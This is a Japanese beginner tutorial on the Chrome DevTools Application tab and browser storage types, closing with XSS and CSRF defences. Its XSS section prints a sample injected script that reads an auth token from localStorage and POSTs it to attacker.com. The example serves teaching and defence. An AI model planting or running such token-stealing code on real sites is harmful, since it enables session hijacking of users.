【基礎編】Chromeデベロッパーツールのアプリケーションタブとは？Webストレージの基礎

はじめに：データがどこに保存されているか分かりますか？

Webアプリケーションを使っていると、以下のような体験をしたことがあるはずです。

• 「ログインしたままになっている」
• 「買い物カゴに入れた商品が残っている」
• 「サイトのテーマ設定（ライト・ダーク）が記憶されている」
• 「前回入力したフォームの内容が残っている」

これらはすべて、ブラウザのストレージ機能によって実現されています。

しかし、開発者として重要なのは、「何をどこに保存すべきか」を理解することです。間違った場所にデータを保存すると、セキュリティリスクやパフォーマンスの問題を引き起こします。

この記事では、Chromeデベロッパーツールのアプリケーションタブと、Webストレージの基礎知識を初心者にも分かりやすく解説します。

Webストレージの種類

Webブラウザには、データを保存するための複数の仕組みがあります。それぞれ特徴が異なり、用途に応じて使い分ける必要があります。

主要なストレージの種類

Cookie（クッキー）

Cookieとは？

Cookieは、Webサイトがブラウザに保存する小さなテキストデータです。最も古いストレージ技術で、1994年に誕生しました。

最大の特徴： ブラウザが自動的にサーバーに送信する

Cookieの構造

Set-Cookie: sessionId=abc123; Domain=example.com; Path=/; 
            Expires=Wed, 21 Oct 2025 07:28:00 GMT; 
            Secure; HttpOnly; SameSite=Strict

重要な属性：

Cookieの用途

• 認証・セッション管理： ログイン状態の維持
• トラッキング： アクセス解析、広告
• ユーザー設定： 言語設定など（小さいデータのみ）

Cookieのメリット・デメリット

メリット：

• サーバー側で簡単に読み取れる（自動送信）
• 有効期限を設定できる
• セキュリティ属性（HttpOnly、Secure、SameSite）で保護可能

デメリット：

• 容量が小さい（約4KB）
• すべてのリクエストに自動的に含まれるため、パフォーマンスに影響
• 適切に設定しないとCSRF攻撃のリスク

localStorage（ローカルストレージ）

localStorageとは？

localStorageは、ブラウザに永続的にデータを保存できるKey-Value型のストレージです。

最大の特徴： データが永続的に保存され、削除しない限り残り続ける

localStorageの基本操作

// データの保存
localStorage.setItem('theme', 'dark');

// データの取得
const theme = localStorage.getItem('theme'); // 'dark'

// データの削除
localStorage.removeItem('theme');

// すべてのデータを削除
localStorage.clear();

// オブジェクトを保存する場合はJSON化が必要
const user = { name: '太郎', age: 28 };
localStorage.setItem('user', JSON.stringify(user));

// 取得時はパースが必要
const savedUser = JSON.parse(localStorage.getItem('user'));

localStorageの用途

• ユーザー設定： テーマ、言語、表示設定
• キャッシュデータ： APIレスポンスの一時保存
• 下書き保存： フォーム入力内容の自動保存
• アプリ状態： UI の状態（開閉状態など）

localStorageのメリット・デメリット

メリット：

• 容量が大きい（5〜10MB）
• 永続的に保存される
• シンプルなAPI（setItem、getItem）
• サーバーに送信されないため、通信量を節約

デメリット：

• JavaScriptからアクセス可能なため、XSS攻撃に脆弱
• 同期的な操作なので、大量データの読み書きでUIがブロックされる可能性
• 文字列しか保存できない（オブジェクトはJSON化が必要）

sessionStorage（セッションストレージ）

sessionStorageとは？

sessionStorageは、localStorageと似ていますが、タブ（またはウィンドウ）を閉じると自動的に削除されます。

最大の特徴： タブごとに独立しており、別のタブとデータを共有しない

sessionStorageの基本操作

// localStorage と同じAPI
sessionStorage.setItem('tempData', 'value');
const data = sessionStorage.getItem('tempData');
sessionStorage.removeItem('tempData');
sessionStorage.clear();

sessionStorageの用途

• 一時的なフォームデータ： 複数ページにまたがるフォーム入力
• ウィザード形式の入力： ステップごとのデータ保持
• 一時的な状態管理： ページ遷移しても保持したいが、タブを閉じたら削除したいデータ

localStorage と sessionStorage の違い

IndexedDB（インデックスデータベース）

IndexedDBとは？

IndexedDBは、ブラウザに搭載されたNoSQLデータベースです。大量の構造化データを保存できます。

最大の特徴： 数百MB〜GBの大量データを保存でき、オフラインアプリに最適

IndexedDBの基本概念

IndexedDBの用途

• オフライン対応アプリ： PWA、ネイティブアプリ風のWebアプリ
• 大量データの保存： メールクライアント、画像エディタ
• キャッシュ： API レスポンスの大量キャッシュ
• 同期機能： オフラインで編集し、オンライン時に同期

IndexedDBのメリット・デメリット

メリット：

• 大容量（数百MB〜GB）
• 構造化データ（オブジェクト、配列）を直接保存可能
• 非同期操作なので、UIをブロックしない
• トランザクションによるデータ整合性
• インデックスによる高速検索

デメリット：

• APIが複雑（学習コストが高い）
• コールバック地獄になりやすい（Promiseラッパーの使用推奨）
• ブラウザごとに微妙に挙動が異なる場合がある

Cache Storage（キャッシュストレージ）

Cache Storageとは？

Cache Storageは、Service Workerと組み合わせて使う、HTTPリクエスト・レスポンスをキャッシュするためのストレージです。

最大の特徴： オフライン対応やパフォーマンス向上のため、ネットワークリクエストをキャッシュ

Cache Storageの用途

• PWA（Progressive Web App）： オフライン対応
• 静的ファイルのキャッシュ： HTML、CSS、JS、画像
• API レスポンスのキャッシュ： ネットワーク高速化

注意： Cache Storage は、通常の開発ではあまり直接触りません。主にService Workerから操作します。

ストレージの使い分け：何をどこに保存すべきか

それぞれのストレージには得意・不得意があります。適切に使い分けることが重要です。

保存するデータ別の推奨ストレージ

判断基準のフローチャート

データを保存したい
    ↓
サーバーに送信する必要がある？
    ├─ Yes → Cookie（HttpOnly、Secure、SameSite設定）
    └─ No  → 次へ
         ↓
    データサイズは？
         ├─ 小（数KB）→ 次へ
         └─ 大（数MB以上）→ IndexedDB
              ↓
         永続的に保存？
              ├─ Yes → localStorage
              └─ No（タブを閉じたら削除）→ sessionStorage

セキュリティ上の注意点

ストレージの使い方を間違えると、深刻なセキュリティリスクを引き起こします。

1. XSS（クロスサイトスクリプティング）攻撃

XSS攻撃とは： 悪意のあるJavaScriptコードをWebページに注入し、ユーザーのブラウザで実行させる攻撃

影響を受けるストレージ：

具体例：

// 悪意のあるスクリプトが注入された場合
<script>
  // localStorageからトークンを盗む
  const token = localStorage.getItem('authToken');

  // 攻撃者のサーバーに送信
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({ token })
  });
</script>

対策：

• ✅ 認証トークンは localStorage に保存しない
• ✅ Cookie に保存する場合は HttpOnly 属性を必ず設定
• ✅ 入力値のサニタイズ・エスケープ
• ✅ Content Security Policy（CSP）の設定

2. CSRF（クロスサイトリクエストフォージェリ）攻撃

CSRF攻撃とは： ユーザーが意図しないリクエストを、ユーザーの認証情報を使って送信させる攻撃

影響を受けるストレージ：

対策：

• ✅ Cookie に SameSite 属性を設定（Strict または Lax）
• ✅ CSRFトークンの使用
• ✅ カスタムヘッダーの使用（X-Requested-With など）

3. セキュアなCookieの設定例

// サーバー側での設定（Node.js Express の例）
res.cookie('sessionId', 'abc123', {
  httpOnly: true,   // JavaScriptからアクセス不可
  secure: true,     // HTTPS通信のみ
  sameSite: 'strict', // クロスサイトリクエストで送信しない
  maxAge: 3600000   // 1時間
});

重要： この3つの属性（HttpOnly、Secure、SameSite）は必須です！

Applicationタブで確認できる情報

ChromeデベロッパーツールのApplicationタブでは、これらすべてのストレージを確認・編集・削除できます。

Applicationタブの構成

なぜApplicationタブが重要か

1. デバッグ： 保存されているデータの内容を確認できる
2. セキュリティ確認： Cookie の属性（HttpOnly、Secure、SameSite）を確認できる
3. データ管理： 不要なデータを削除できる
4. テスト： データを手動で編集して動作確認できる

まとめ：基礎を押さえたら実践へ！

この記事では、Applicationタブを理解するための基礎知識を解説しました。

ポイントの振り返り

• Cookie： サーバーに自動送信、認証・セッション管理に使用
• localStorage： 永続的に保存、ユーザー設定に使用
• sessionStorage： タブを閉じたら削除、一時データに使用
• IndexedDB： 大量データ、オフライン対応に使用
• Cache Storage： Service Worker、PWAに使用
• セキュリティ： 認証トークンは localStorage ではなく Cookie（HttpOnly、Secure、SameSite）に保存
• XSS対策： HttpOnly Cookie を使用、入力値のサニタイズ
• CSRF対策： SameSite Cookie、CSRFトークン

次のステップ

基礎が理解できたら、次は実践編で実際の操作方法を学びましょう！

実践編では、以下の内容を詳しく解説します：

• Applicationタブの開き方と基本操作
• localStorage / sessionStorage の確認・編集・削除
• Cookie の詳細確認（属性の見方）
• IndexedDB の内容確認
• 実務でのデバッグ事例（トラブルシューティング）
• よくあるハマりポイント
• セキュリティチェックポイント

【実践編】ChromeのApplicationタブでストレージを管理する方法【実務で使えるテクニック】を読んで、Applicationタブを使いこなせるようになりましょう！

参考資料：

• Chrome DevTools – Application panel overview（公式ドキュメント）
• MDN – Web Storage API
• MDN – IndexedDB API
• OWASP – Cross Site Scripting (XSS)
• OWASP – Cross-Site Request Forgery (CSRF)